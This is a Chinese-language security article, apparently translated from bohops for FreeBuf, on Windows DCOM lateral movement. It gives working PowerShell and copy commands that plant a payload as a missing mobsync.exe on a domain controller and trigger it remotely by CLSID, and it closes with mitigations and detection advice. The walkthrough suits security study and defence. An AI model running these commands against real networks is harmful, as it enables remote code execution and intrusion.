专栏首页FreeBuf如何利用DCOM实现横向渗透

如何利用DCOM实现横向渗透

长话短说

这篇文章主要讨论的是DCOM横向渗透以及Payload执行方法,当目标系统的\target\admin$\system32\中不包含mobsync.exe时,本文所介绍的方法才可行。如果你能获取到目标系统的管理员权限(通过PowerShell),你将能做到如下所示的东西:

- dir\\target\system32\mobsync.exe   //shouldnot exist
-copy evil.exe \\target\admin$\system32\mobsync.exe
-[activator]::CreateInstance([type]::GetTypeFromCLSID("C947D50F-378E-4FF6-8835-FCB50305244D","target"))

介绍

在这篇文章中,我们将介绍如何利用DCOM(分布式构件对象模型)来实现横向渗透并远程执行Payload。本文主要讨论的内容如下:

  1. 引言;
  2. 研究动机;
  3. 简单的DCOM横向渗透方法论;
  4. 缓解方案;

引言

在此之前,关于DCOM横向渗透技术的内容讨论了已经有一年半载了,Matt Nelson (enigma0x3)此前也介绍过多种利用D/COM对象(例如MMC20、ShellWindows,ShellBrowserWindow、Excel和Outlook)实现的横向渗透技术。相应的,Philip Tsukerman (@PhilipTsukerman)也发现过一种有趣的WMI横向渗透技术,他的【 这篇文章】可以帮助大家更好地了解DCOM功能、横向渗透技术以及相应的缓解方案。在继续阅读本文之前,我强烈建议大家阅读一下这些资料。

研究动机

几周之前,我打算对我的笔记本系统进行虚拟化分析,虽然转换过程非常痛苦,但最终还是在相关工具的帮助下成功了。但是考虑到安全问题,我需要确定原本的物理设备中是否还存有遗留数据,我手上没有什么标准可以遵循,而且我对数字取证方面有额不感兴趣。所以我打算研究一下注册表,然后我很快就找到了一个有趣的CLSID注册表路径,它引用了一份二进制文件,而这个文件很可能是笔记本上为某个程序提供实用功能或者诊断功能的一个程序:

通过DIR命令查询后,我们发现磁盘中并没有C:\WINDOWS\system32\IntelCpHDCPSvc.exe:

我的脑海里瞬间出现了下面三个想法:

  1. IntelCpHDCPSvc.exe是什么鬼?
  2. 软件卸载工具并没有完全删除旧软件遗留在注册表里的东西。
  3. 这似乎是一个DCOM应用(使用Get-CimInstanceWin32_DCOMApplication查询语句进行验证)。

通过搜索引擎得知,IntelCpHDCPSvc.exe跟英特尔的内容保护HDCP服务有关,但是最有意思的是,LocalServer32和InProcServer32这两个注册表键值指向的是本应该存在的二进制文件路径,而这些不存在的文件很可能会带来严重的安全风险。由于在真实的攻击中我们很少能够看到IntelCpHDCPSvc的身影,因此我想看看能否可以利用DCOM来做些什么。

DCOM横向渗透方法论

定位二进制文件

首先,我们需要在DCOM应用中定位相应的二进制文件路径。这里我们可以利用下面的命令从Windows 2012中导出LocalServer32可执行程序和InProcServer32 DLL:

gwmiWin32_COMSetting -computername 127.0.0.1 | ft LocalServer32 -autosize |Out-String -width 4096 | out-file dcom_exes.txt

gwmiWin32_COMSetting -computername 127.0.0.1 | ft InProcServer32 -autosize |Out-String -width 4096 | out-file dcom_dlls.txt

我们得到了下列信息:

对数据进行拼接和过滤之后,我们可以使用下列命令查询这些文件:

$file= gc C:\Users\test\desktop\dcom_things.txt

foreach($binpath in $file) {

$binpath

cmd.exe /c dir $binpath > $null

}

查询结果如下:

%SystemRoot%\system32\mobsync.exe

FileNot Found

如下图所示,文件确实不存在:

实际上,mobsync是Microsoft同步中心和脱机文件功能中的一个进程,因此mobsync.exe又开始变得更加有趣了。

验证AppID和CLSID

之前我在枚举AppID和CLSID方面没有做得很好,所以我重新查看了注册表并查找这些信息:

具体说来,在下个阶段中我们需要利用[C947D50F-378E-4FF6-8835-FCB50305244D]这个CLSID来创建DCOM对象实例。

远程Payload执行和横向渗透

首先我们需要满足以下条件:

  1. 在远程实例化DCOM对象之前,我们需要拿到管理员权限。
  2. 为了发挥Payload的作用,我们将尝试渗透目标主机所在域环境。假设已经拿到了管理员账号凭证,我们将以Windows 10作为攻击端,然后在Windows 2012域控制器(DC)上尝试实现远程命令执行。

首先是Payload,并确保目标系统中不包含mobsync.exe:

dir C:\evil.exe
dir \\acmedc\admin$\system32\mobsync.exe

非常好!由于mobsync.exe不存在,所以我们的Payload(evil.exe)就能够绕过主机保护机制了,然后将其拷贝到DC上:

copy C:\evil.exe \\acmedc\admin$\system32\mobsync.exe
dir \\acmedc\admin$\system32\mobsync.exe

由于我们的二进制文件无法识别DCOM,因此实例化操作将无法成功,但Payload还是可以成功触发的:

[activator]::CreateInstance([type]::GetTypeFromCLSID("C947D50F-378E-4FF6-8835-FCB50305244D","target"))

Windows10域成员:

Windows2012域控制器:

非常好,我们的“mobsync.exe”生成了恶意的“notepad.exe” Payload。

缓解方案

厂商:

  1. 当软件工具被卸载之后,确保没有DCOM注册表项遗留。
  2. 不要在注册表中创建指向并不存在的二进制文件的DCOM程序路径。

网络防御端:

  1. 认真阅读enigma0x3以及@PhilipTsukerman在各自文章中给出的建议,有针对性地收集相关IoC。
  2. 避免重复使用主机账号凭证。
  3. 部署深度防御策略以及安全监控产品。
  4. 监控文件系统及注册表。
  5. 监控网络环境中的异常PowerShell操作,尽量强制启用PowerShell的受限语言模式(CLM)。
  6. 当DCOM调用失败时,主机的系统日志中会生成ID为10010的错误事件信息,其中将包含CLSID信息。

* 参考来源:bohops,FB小编Alpha_h4ck编译,转载请注明来自FreeBuf.COM

本文分享自微信公众号 - FreeBuf(freebuf)

原文出处及转载信息见文内详细说明,如有侵权,请联系 yunjia_community@tencent.com 删除。

原始发表时间:2018-07-06

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

我来说两句

0 条评论
登录 后参与评论

相关文章

  • 记一次应急中发现的诡异事件

    在一次应急响应中,无意发现来自不同地区和人员的攻击,两种留后门的方法,截然不同的操作,不同的技术手法。

    FB客服
  • 暗云III v3.0等多个病毒家族结伴来袭实战分析

    根据C:/Windows/System32/b.txt产生的老的连接状态日志发现有大量外发扫描1433端口判断可能是通过SQL Server弱密码进来的。

    FB客服
  • Medusalocker勒索病毒,小心勒索加密无得解

    近日,深信服安全团队接到用户的勒索求助,排查发现是一款名为MedusaLocker的勒索软件家族。该勒索病毒家族具有一些独特的功能,它不仅会感染本地计算机,而且...

    FB客服
  • 暗云III v3.0等多个病毒家族结伴来袭实战分析

    根据C:/Windows/System32/b.txt产生的老的连接状态日志发现有大量外发扫描1433端口判断可能是通过SQL Server弱密码进来的。

    FB客服
  • 红队技巧-白加黑

    白就是此文件在杀软的白名单中,不会被杀软查杀;黑就是我们的恶意代码,由自己编写。通常白黑共同组成木马的被控端,最大限度的逃避杀软查杀,增强抗杀能力,而且方便免杀...

    Gamma实验室
  • Win7 64bit安装Oracle 10g Server的报错

    今天一名新员工问在win7 64bit安装Oracle 10g Server时第一步就报错的问题。

    bisal
  • 一般系统瓶颈

    张树臣
  • 理解策略梯度算法

    在之前的文章“深度强化学习综述(上)”中介绍了深度强化学习的原理,重点是DQN(深度Q网络)。基于值函数的算法是神经网络与时序差分算法如Q学习相结合的产品。其原...

    SIGAI学习与实践平台
  • shared_ptr是线程安全的吗?

    shared_ptr objects offer the same level of thread safety as built-in types

    程序员小王
  • 设计模式 ☞ 行为型之策略模式

      策略(Strategy)模式的定义:该模式定义了一系列算法,并将每个算法封装起来,使它们可以相互替换,且算法的变化不会影响使用算法的客户。策略模式属于对象行...

    Demo_Null

扫码关注云+社区

领取腾讯云代金券